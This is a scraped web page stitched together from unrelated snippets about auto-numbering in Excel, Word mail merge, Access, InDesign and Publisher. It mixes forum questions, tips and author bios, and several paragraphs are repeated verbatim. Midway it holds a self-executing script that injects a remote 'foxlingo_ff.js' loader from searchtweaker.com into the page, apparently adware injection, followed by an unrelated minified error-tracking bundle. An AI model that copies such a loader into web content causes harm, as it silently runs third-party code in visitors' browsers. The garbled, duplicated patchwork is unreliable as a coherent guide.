I'm using Column A of a spreadsheet to number some items in Column B. I've been using Excel's automatic series-filling function, where you drag down from the lower right corner of a cell. However, since some of the rows in Column B are empty, and I don't want them numbered, I have to stop numbering and manually "jump" over the blanks in Column A. Is there a way to automatically number down in Column A, while skipping over the blanks and continuing where I left off? I.e. 1 2 3 4 5 ? Thanks much. Try this in A1: =IF(B1<>"",COUNTA($B$1:B1),"...
To use mail merge to create a batch of gift certificates or coupons with tracking numbers, you need to set up a data source that contains a column listing the tracking numbers. If you plan to add only the tracking numbers to your publications, create a data source for the tracking numbers. If you also plan to use mail merge to insert additional information into your publications, such as customer names or addresses, you can add the column of tracking numbers to a data source that also lists the name and address data that you want to use.
Michelle Castle began writing professionally in 2005. She has written technology news and tutorials for consumers, brochure and web copy for the Ehlers-Danlos National Foundation, and promotional materials for religious nonprofits including the International Pentecostal Holiness Church. Michelle has a Bachelor of Arts in English from Oklahoma State University.
Hi – are you creating your own tickets using the instructions on this page? If so, you can of course change the font and everything else in your Word document. If you are using the Raffle Ticket Creator app (app.raffleticketcreator.com) then you can’t change the font size … you’ll just need to tinker with the exact words that you are including in order to get them to fit on the page. Hope that helps!

There is very simple solution that we use and that is to lay out the sheet say 6 up on a A4 sheet as a master page and in document setup set the number of pages to 1,000 if that is the amount you require. Put a page number on each ticket on the page and although they will all have the same number on each page, we put the the first two letters of the customers business name before each number followed by the letters of the alphabet so it then reads for example BT1A, BT2A, BT3A, BT1B, BT2B, BT2C and so on as each page is printed.
Some drawbacks to this feature are that you lose a little control when you are typing. Word formats for you and some users do not like this. Also, on certain items, you will get a number when you do not expect or need one. For example, you have an attorney whose name begins with an initial (A. George Smith). When you type the name and press ENTER, the first initial "A." converts to an automatic number.

This requires no pre-knowledge of a primary key and only assumes that when you load the form initially, it is already sorted. Any records newly inserted will get the next bigger number. However, if you requery and it causes the newly inserted rows to be re-sorted, they will be now given a new number that relates to their actual position within the set, which can be either good or bad, depending on your specific requirements.


With the numbered paragraphs shown above, there is no extra spacing between the paragraphs. That’s easy to fix. Go ahead and type out at least part of your first numbered paragraph, then go to the Page Layout tab and adjust the value of Spacing After in the Paragraph section. Still no extra space? There’s one more setting to check. Click the launcher arrow in the lower right-hand corner to go to the Paragraph dialog box, uncheck the box next to “Don’t add space between paragraphs of the same style.” Click OK. That paragraph and all the remaining numbered ones will have more breathing room.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
Is there a way to auto number files with the file number (less .jpeg) and save without having to let my computer grind to a halt, as it does using Automate, contact sheet. The objective is to create a preview set for distribution to clients with the file number annotated at bottom centre. Also, is there any way of creating the text/font/colour/stroke of my choice?
The blog is pretty much step by step. Where it may not be that specific is, because, these are decisions the developer needs to make. For example, where to put the DMax expression is a matter of your workflow so I can’t tell you where to put it. I’ve given tips in the blog to help you decide. If you are having issues, then please give me more info about your application and I can suggest things.
Here is my problem. i have a series of 3 digit numbers that need to be cinverted to a series of 4 digit numbers using this following 722 needs to read as 5622 and in the next collum SV-7822 in the collum's to the right. what type of formula is this and how can i do it? The above is an example, i have a whole range of 3 digit numbers that need the exact. rules applied to all numbers. which is why i need a formula to do it. Help someone please!!!! I'm not completely clear on what your looking for but if 722 was in A1 in B1: = A1 + 4900 in B2: = ="SV-" & A1 + 7100...
Thanks very much for your prompt reply, which reassured me that I was on the right path. From having read various Help topics, I suspected that I'd have to use an Excel data source for the numbers. Fortunately, my knowledge of Excel was good enough to know about the drag and drop facility to create automatic sequential numbering, so the data source creation was easy. In the end, it was the mail merge (no surprises?) which proved a tad tricky, but I got there in the end. I've used MM many times and quite happily in Word documents, but for Publisher label format, it was of course a bit different. The important bit that I had to discover for myself was the significance of, after getting to the Print stage, going into Print options, to Publication & Paper Settings, and selecting Multiple Pages per Sheet (& in my case, also "Single-sided" cos my default of duplex printing had come up). But TA-DA!  All is fine now. Thanks very much again.

I am trying to use mailmerge to print tickets. I tried using a column of sequential numbers on a spreadsheet and inserting that as a field into the mailmerge, but oddly, it used number 8 eight times on the first page, number 16 eight times on the second page, etc. So, I tried using a sequencing field as you describe. It worked great for the first page (numbers 1-8) but when I completed the mailmerge, it repeated numbers 1-8 on each successive sheet. What do I have to do to make this work in a mailmerge?


Numbers works in a fashion somewhat different from traditional spreadsheets like Microsoft Excel or Lotus 1-2-3. In the traditional model, the table is the first-class citizen of the system, acting as both the primary interface for work, as well as the container for other types of media like charts or digital images. In effect, the spreadsheet and the table are one and the same. In contrast, Numbers uses a separate “canvas” as its basic container object, and tables are among the many objects that can be placed within the canvas.[4][N 1]
CK Note: Word 2007 - 2013 interface has an different automatic numbering scheme which I have been told is much less subject to corruption. Microsoft Word 2010 Bible by Herb Tyson, MVP. However numbering is still very imperfect in these later versions. I still recommend following Shauna Kelly's step-by-step instructions (see above) if setting up numbering in a template or in a document likely to be heavily edited. If you start without doing this and end up with "spaghetti numbering," fixing it will be a very large chore!
Hi – are you creating your own tickets using the instructions on this page? If so, you can of course change the font and everything else in your Word document. If you are using the Raffle Ticket Creator app (app.raffleticketcreator.com) then you can’t change the font size … you’ll just need to tinker with the exact words that you are including in order to get them to fit on the page. Hope that helps!
My quick process involves setting up a row of plaques with a01, a02, a03, thru a09. Then copy the plaques to the clipboard. Run the REPLACE TEXT feature to replace "a" with "1". Move row down and paste clipboard back into page. Run REPLACE TEXT to replace "a" with "2". Repeat until I get all the numbers. It's faster than manually typing the numbers in but I know there's go to be someway of automating the process.
Thank you for these instructions!! I’m using them to auto number my son’s baseball team raffle tickets which we hand numbered last year (UGH!). I followed the instructions exactly but for some reason the numbering is starting at 2 every time. I did deselect the checkbox about the column headers which seems the obvious culprit. Any ideas? I’m using Word on a PC. Thanks!!
I am trying to create a macro for outlook 2016 appointments that would add a number sequentially each time the appointment template was opened. I need to run this under public user so as others open it will give next number. Thank you in adance here is form Sequential Number Here Outside Assignment #: Click here to enter text. Court Reporter Needed: Click here to enter text. Job Type: Click here to enter text. Referral: Click here to enter text. Assignment Date: Click here to enter a date. Contact: Click here to enter text. Time: Click here to enter text.… Read more »
Basically, the only difference is that we now maintain a VBA.Collection, and this time we do make use of the UniqueKeyVariant parameter, using it as a key to locate the previously assigned number. If we don’t find it, we add to the VBA.Collection. The SQL to use those 2 functions remains identical. The downside is that if the query generates millions worth of rows, the memory may run out due to a large VBA.Collection. However, if a form is bound to that large dataset, it will likely have several other problems anyway so VBA.Collection should not be a problem for forms that loads a few hundred rows. The other downside is that VBA.Collection will persist indefinitely even long after the query has “finished.” Back to form example, you might need to remember to call the ResetRowNumber() function on a form’s close to ensure that you dispose of the VBA.Collection and free up the memory.
Auto-Number is a very easy to use software program developed by a printer (35+ years in the industry) to eliminate manual or letterpress numbering. The program will print up to sixteen numbers in any location, increment and duplicate. No Experience Necessary! Any person with basic computer skills is able to master this software within minutes. We’ve included set-up templates for the most common jobs. Use as is or modify them to your specs.
The photos in questions were taken using a Nikon D-300 which is programmed to indicate the orientation of the camera and has always been programmed to do so.  I know I can manually change the orientation but we are talking about hundreds of images (I have over 10,000 photos in all; most of which display fine).What should I be looking for to explain and correct this issue?
Thank you for these instructions!! I’m using them to auto number my son’s baseball team raffle tickets which we hand numbered last year (UGH!). I followed the instructions exactly but for some reason the numbering is starting at 2 every time. I did deselect the checkbox about the column headers which seems the obvious culprit. Any ideas? I’m using Word on a PC. Thanks!!
!function(n,t){function r(e,n){return Object.prototype.hasOwnProperty.call(e,n)}function i(e){return void 0===e}if(n){var o={},u=n.TraceKit,s=[].slice,a="?";o.noConflict=function(){return n.TraceKit=u,o},o.wrap=function(e){function n(){try{return e.apply(this,arguments)}catch(e){throw o.report(e),e}}return n},o.report=function(){function e(e){a(),h.push(e)}function t(e){for(var n=h.length-1;n>=0;--n)h[n]===e&&h.splice(n,1)}function i(e,n){var t=null;if(!n||o.collectWindowErrors){for(var i in h)if(r(h,i))try{h[i].apply(null,[e].concat(s.call(arguments,2)))}catch(e){t=e}if(t)throw t}}function u(e,n,t,r,u){var s=null;if(w)o.computeStackTrace.augmentStackTraceWithInitialElement(w,n,t,e),l();else if(u)s=o.computeStackTrace(u),i(s,!0);else{var a={url:n,line:t,column:r};a.func=o.computeStackTrace.guessFunctionName(a.url,a.line),a.context=o.computeStackTrace.gatherContext(a.url,a.line),s={mode:"onerror",message:e,stack:[a]},i(s,!0)}return!!f&&f.apply(this,arguments)}function a(){!0!==d&&(f=n.onerror,n.onerror=u,d=!0)}function l(){var e=w,n=p;p=null,w=null,m=null,i.apply(null,[e,!1].concat(n))}function c(e){if(w){if(m===e)return;l()}var t=o.computeStackTrace(e);throw w=t,m=e,p=s.call(arguments,1),n.setTimeout(function(){m===e&&l()},t.incomplete?2e3:0),e}var f,d,h=[],p=null,m=null,w=null;return c.subscribe=e,c.unsubscribe=t,c}(),o.computeStackTrace=function(){function e(e){if(!o.remoteFetching)return"";try{var t=function(){try{return new n.XMLHttpRequest}catch(e){return new n.ActiveXObject("Microsoft.XMLHTTP")}},r=t();return r.open("GET",e,!1),r.send(""),r.responseText}catch(e){return""}}function t(t){if("string"!=typeof t)return[];if(!r(j,t)){var i="",o="";try{o=n.document.domain}catch(e){}var u=/(.*)\:\/\/([^:\/]+)([:\d]*)\/{0,1}([\s\S]*)/.exec(t);u&&u[2]===o&&(i=e(t)),j[t]=i?i.split("\n"):[]}return j[t]}function u(e,n){var r,o=/function ([^(]*)\(([^)]*)\)/,u=/['"]?([0-9A-Za-z$_]+)['"]?\s*[:=]\s*(function|eval|new Function)/,s="",l=10,c=t(e);if(!c.length)return a;for(var f=0;f0?u:null}function l(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#]/g,"\\$&")}function c(e){return l(e).replace("<","(?:<|<)").replace(">","(?:>|>)").replace("&","(?:&|&)").replace('"','(?:"|")').replace(/\s+/g,"\\s+")}function f(e,n){for(var r,i,o=0,u=n.length;or&&(i=u.exec(o[r]))?i.index:null}function h(e){if(!i(n&&n.document)){for(var t,r,o,u,s=[n.location.href],a=n.document.getElementsByTagName("script"),d=""+e,h=/^function(?:\s+([\w$]+))?\s*\(([\w\s,]*)\)\s*\{\s*(\S[\s\S]*\S)\s*\}\s*$/,p=/^function on([\w$]+)\s*\(event\)\s*\{\s*(\S[\s\S]*\S)\s*\}\s*$/,m=0;m]+)>|([^\)]+))\((.*)\))? in (.*):\s*$/i,o=n.split("\n"),a=[],l=0;l=0&&(g.line=v+x.substring(0,j).split("\n").length)}}}else if(o=d.exec(i[y])){var _=n.location.href.replace(/#.*$/,""),T=new RegExp(c(i[y+1])),E=f(T,[_]);g={url:_,func:"",args:[],line:E?E.line:o[1],column:null}}if(g){g.func||(g.func=u(g.url,g.line));var k=s(g.url,g.line),A=k?k[Math.floor(k.length/2)]:null;k&&A.replace(/^\s*/,"")===i[y+1].replace(/^\s*/,"")?g.context=k:g.context=[i[y+1]],h.push(g)}}return h.length?{mode:"multiline",name:e.name,message:i[0],stack:h}:null}function y(e,n,t,r){var i={url:n,line:t};if(i.url&&i.line){e.incomplete=!1,i.func||(i.func=u(i.url,i.line)),i.context||(i.context=s(i.url,i.line));var o=/ '([^']+)' /.exec(r);if(o&&(i.column=d(o[1],i.url,i.line)),e.stack.length>0&&e.stack[0].url===i.url){if(e.stack[0].line===i.line)return!1;if(!e.stack[0].line&&e.stack[0].func===i.func)return e.stack[0].line=i.line,e.stack[0].context=i.context,!1}return e.stack.unshift(i),e.partial=!0,!0}return e.incomplete=!0,!1}function g(e,n){for(var t,r,i,s=/function\s+([_$a-zA-Z\xA0-\uFFFF][_$a-zA-Z0-9\xA0-\uFFFF]*)?\s*\(/i,l=[],c={},f=!1,p=g.caller;p&&!f;p=p.caller)if(p!==v&&p!==o.report){if(r={url:null,func:a,args:[],line:null,column:null},p.name?r.func=p.name:(t=s.exec(p.toString()))&&(r.func=t[1]),"undefined"==typeof r.func)try{r.func=t.input.substring(0,t.input.indexOf("{"))}catch(e){}if(i=h(p)){r.url=i.url,r.line=i.line,r.func===a&&(r.func=u(r.url,r.line));var m=/ '([^']+)' /.exec(e.message||e.description);m&&(r.column=d(m[1],i.url,i.line))}c[""+p]?f=!0:c[""+p]=!0,l.push(r)}n&&l.splice(0,n);var w={mode:"callers",name:e.name,message:e.message,stack:l};return y(w,e.sourceURL||e.fileName,e.line||e.lineNumber,e.message||e.description),w}function v(e,n){var t=null;n=null==n?0:+n;try{if(t=m(e))return t}catch(e){if(x)throw e}try{if(t=p(e))return t}catch(e){if(x)throw e}try{if(t=w(e))return t}catch(e){if(x)throw e}try{if(t=g(e,n+1))return t}catch(e){if(x)throw e}return{mode:"failed"}}function b(e){e=1+(null==e?0:+e);try{throw new Error}catch(n){return v(n,e+1)}}var x=!1,j={};return v.augmentStackTraceWithInitialElement=y,v.guessFunctionName=u,v.gatherContext=s,v.ofCaller=b,v.getSource=t,v}(),o.extendToAsynchronousCallbacks=function(){var e=function(e){var t=n[e];n[e]=function(){var e=s.call(arguments),n=e[0];return"function"==typeof n&&(e[0]=o.wrap(n)),t.apply?t.apply(this,e):t(e[0],e[1])}};e("setTimeout"),e("setInterval")},o.remoteFetching||(o.remoteFetching=!0),o.collectWindowErrors||(o.collectWindowErrors=!0),(!o.linesOfContext||o.linesOfContext<1)&&(o.linesOfContext=11),void 0!==e&&e.exports&&n.module!==e?e.exports=o:"function"==typeof define&&define.amd?define("TraceKit",[],o):n.TraceKit=o}}("undefined"!=typeof window?window:global)},"./webpack-loaders/expose-loader/index.js?require!./shared/require-global.js":function(e,n,t){(function(n){e.exports=n.require=t("./shared/require-global.js")}).call(n,t("../../../lib/node_modules/webpack/buildin/global.js"))}});

OK I found the ControlSource property but it is on the Job No text box, do I enter the code there or am I entering my code on the button I created to save and get new number? If I put it behind the button, when I open the form it goes to the first record so I go to the last record and hit save get new number button and it gives me the number 1……Is it because when I open the form it goes to the first record and not a new record????


Yes, I’m a little confused by your brief too. The script that I describe here will create an array of numbers using any step value that it offers, including by 1 number each time. Whether you put the resulting list directly into InDesign as text, or indirectly using the Data Merge feature is up to you. Perhaps learn more about the Data Merge feature of InDesign itself – David Blatner has a great series on Lynda.com that will explain Data Merge much more than I can on this thread.

Version numbers allow people providing support to ascertain exactly which code a user is running, so that they can rule out bugs that have already been fixed as a cause of an issue, and the like. This is especially important when a program has a substantial user community, especially when that community is large enough that the people providing technical support are not the people who wrote the code. The semantic meaning[1] of version.revision.change style numbering is also important to information technology staff, who often use it to determine how much attention and research they need to pay to a new release before deploying it in their facility. As a rule of thumb, the bigger the changes, the larger the chances that something might break (although examining the Changelog, if any, may reveal only superficial or irrelevant changes). This is one reason for some of the distaste expressed in the “drop the major release” approach taken by Asterisk et alia: now, staff must (or at least should) do a full regression test for every update.
we have printed AP checks using the check number from 0000000001 to 0000000006, but we havent posted those batches. we have only one checbook. Now can we restart the check number from 000001. Then do we need to delete the previous batches for checks printed. What is the best approach in this regard. Thanks in Advance, Arun. In the Post Payables Checks batch window (Transactions > Purchasing > Post Checks), choose the batch in question, then select Reprint Checks from the drop-down list. Enter 000001 for your starting check number. You will also need to go ...

Hello! I would like to chart varying salaries against specific Low, middle and high numbers. Any suggestions on how to show this? Example: Salary 1 10000 Salary 2 12000 Salary 3 16000 Low 9000 Mid 15000 High 19000 THANK YOU! Do you want the Low-Mid-High values to be like a benchmark to measure salaries against? You could put horizontal lines across your chart, and use markers for the salary data. Here' a few ways to get your lines: http://peltiertech.com/Excel/Charts/AddLine.html - Jon ------- Jon Peltier, Microsoft Excel MVP Peltier Technical Services Tutorials...
You would need to use Photoshop scripting actions can not do what you want to do. You could print them on roll paper with a script like my paste image roll or build that process into your script. Create large documents with many sequenced tickets laided out in them. The steps are the same steps yod would use in an action however you can use locic to update the sequence number in the setial text layer and position the tickets location.  You need to code in one of three supported scripting language. Javascript is the best choice. you fo not meed to have a dialog like pasteimagerollm Rou most likely want to have a ticket template file that your scrip opens and loop update its serial and paste mintp pace into your print document.  You can look at my pastimageroll script to see how to tile you ticket image into a document.

Hi, this is a great write up. I am very new to InDesign and i print onto a range of products and my first order with sequential numbering came up (serial numbers), I have the template made in illustrator and i also have the numbers added (00001 on all of the art work). A friend told me InDesign has a function for automatically incrasing the numbers by 1 for each art work. I have 105 pieces per template, is there a way to import the design and then sort the number (already text edible) and then save as a pdf then send to print?
I thought I'd try and just create one decal and use the print merge feature but I don't print from my workstation. I create the design in X7 then export it to a RIP Station for print. I thought I'd just do the print merge and print as pdf just to get the numbers without typing them. That gets me all the numbers in sequence but all on 500 separate pages.
In summary, paragraph numbering is really just an exercise in logic, and this blog post is showing the numbering styles for a very specific project. Your project may be similar, but not exactly the same. You just need to think though the levels and how you want to restart the numbers. I do my best to think it through correctly the first time, set it up, and then try as hard as I can to break it, so that I can find my errors. The good news is that once you get your numbers working, you shouldn’t ever have to think about it again.

Erica Gamet has been involved in the graphics industry for an unbelievable 30 years! She is a speaker, writer, and trainer, focusing on Adobe InDesign and Illustrator, Apple Keynote and iBooks Author, and other print- and production-related topics. She is a regular presence at CreativePro Week’s PePcon and InDesign Conferences, and has spoken at ebookcraft in Canada and Making Design in Norway. You can find Erica’s online tutorials at CreativeLive and through her YouTube channel. When she isn’t at her computer, she can be found exploring her new homebase of Seattle and the greater Pacific Northwest.

I haven’t tried this… But according to the Microsoft instructions about field switches (http://office.microsoft.com/en-us/word-help/insert-and-format-field-codes-HA010338798.aspx), you can add text to a field code. The text must be in single quote marks, and displays as a constant for the field. The examples on that web page show the text at the end of the field, but you could try it earlier in the field by testing putting ‘120/’ in front of where the SEQ number will go.


You can add a chapter number variable to your document. Like page numbers, chapter numbers can be updated automatically and formatted and styled as text. A chapter number variable is commonly used in documents that are part of a book. A document can have only one chapter number assigned to it; if you want to divide a single document into chapters, you can create sections instead.

I have been researching using sequential numbers for invoices an purchase orders, but all of them seem to advance the number eithe every time the document is opened or saved. My purchase order is par of a larger file, and since I will be opening and saving the fil without necessarily writing a purchase order I need more control ove its advancement. I was wondering how I could create a button that whe pressed or selected would advance the number by 1? Also, how could make it create a unique number depending on who's creating the purchas order. For example, let's say the user is ...

Scott, you’ll need to be more specific to help me. When you say “put this code behind a save button” what exactly does that mean – where do I type the code you provided? Yes, I do have a Save Button, which saves the record and closes the form (but currently has no way to save the next sequential Project ID). I want show this next Project ID (number on the entry form) and have that new number flow to the table along with the other data on the form.
Footnotes, after all, are always numbered sequentially and update when you add or remove one. The problem is that each time you add a footnote you get an extra space down at the bottom of the column. The solution? Make a paragraph style for your footnotes that specifies a .1 pt tall size with a 0 (zero) leading, then choose that paragraph style in the Document Footnote Options dialog box.
Tip  Follow the same steps (above) to create Request for Production or Request for Admissions. The only difference would be in Step 3, you would change the "rog" to "rpf" or "rfa". This will keep unique numbering schemes running in the same document. Therefore, you could have an Interrogatory No.1 as well as Request for Production No.1. Keep in mind that if you cut, copy or paste sequence codes, you'll need to select them and press F9 to update the field codes. They do not update automatically.
The sequential numbers required for the stationery are typically prepared in a spreadsheet such as Microsoft Excel and then exported as a txt or csv file for use with the Data Merge palette. However, a free script called Indys Number Generator written by Stanislav Antos can create sequential numbers without having to open any spreadsheet software. The script has been available for some time but I feel it is a hidden gem and definitely worth discussing.
It's also possible to consecutively number list items in InDesign. Create a text frame for your list and click the numbered list button to insert a list. Type your list items, pressing your "Enter" key between items. InDesign consecutively numbers the list automatically; you can change the number it begins with and the style of the numerals. Press your "Alt" key (Windows) or "Option" key (Mac OS) while clicking on the numbered list button to open a dialog where you can modify those options.
In summary, paragraph numbering is really just an exercise in logic, and this blog post is showing the numbering styles for a very specific project. Your project may be similar, but not exactly the same. You just need to think though the levels and how you want to restart the numbers. I do my best to think it through correctly the first time, set it up, and then try as hard as I can to break it, so that I can find my errors. The good news is that once you get your numbers working, you shouldn’t ever have to think about it again.
Numbers works in a fashion somewhat different from traditional spreadsheets like Microsoft Excel or Lotus 1-2-3. In the traditional model, the table is the first-class citizen of the system, acting as both the primary interface for work, as well as the container for other types of media like charts or digital images. In effect, the spreadsheet and the table are one and the same. In contrast, Numbers uses a separate “canvas” as its basic container object, and tables are among the many objects that can be placed within the canvas.[4][N 1]
Remember that you must update the values in the sheet if you want to continue the numbering series with the next batch of tickets. For instance, if you want your next batch of tickets to start with 112, you'd open the workbook and change the value 100 to 112, and update the remaining values accordingly. Don't forget to save the workbook after updating the values.

Hi Scott, I had a question regarding the sequential numbering Apex example…I am looking to automatically restart the sequence every month, which is not a problem using your example (i.e. changing the year to month in the expression). However, I would also like to add in a condition for year, so that the sequence restarts for each month of each year (i.e. my problem is for example that Feb 2011 last sequence number is 5, and then in Feb 2012 this becomes 6, where I would like it to be 1). I am wondering what the syntax would be. Thanks in advance, Lawn.
×